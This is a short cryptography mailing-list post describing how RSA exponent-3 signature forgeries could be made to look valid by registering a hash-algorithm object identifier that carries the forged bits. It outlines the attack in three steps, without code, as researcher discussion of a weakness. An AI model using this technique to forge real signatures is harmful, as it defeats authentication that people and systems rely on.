Exponent 3 damage spreads...

[Peter Gutmann]

Yet another e=3 attack, although this one is a bit special-case.  As Burt
Kaliski points out in his paper on hash function firewalls,
http://www.rsasecurity.com/rsalabs/staff/bios/bkaliski/publications/hash-firewalls/kaliski-hash-firewalls-ct-rsa-2002.pdf,
if you can control the AlgorithmIdentifier (specifically the object identifier
or OID), you can also inject arbitrary bits into the signature.  This works as
follows:

1. Create your forged e=3 signature using extra chosen garbage data.

2. Register an object identifier for the hash algorithm that contains the
   extra data, thus allowing you to retro-create the forged signature using
   "legitimate" data.

3. Profit!

The use of multiple OIDs to identify a single algorithm is relatively common
(see the OID table for dumpasn1, there are something like a dozen overlapping
OIDs for DSA alone), all you need to do is get one registered and adopted.
Sure, it's a bit of work, but if implemented no amount of checking will catch
it, since it's a perfectly valid, legitimate OID and encoding.

(I know of at least one registered OID that was back-engineered to contain an
 particular interesting bit pattern, and I've seen it used in several
 implementations, so this isn't that far-fetched an attack).

Oh yes, and before the ASN.1-bashing starts again, this affects any encoding
scheme, it's not some "ASN.1 problem".

Peter.


---------------------------------------------------------------------
The Cryptography Mailing List
Unsubscribe by sending "unsubscribe cryptography" to majordomo at metzdowd.com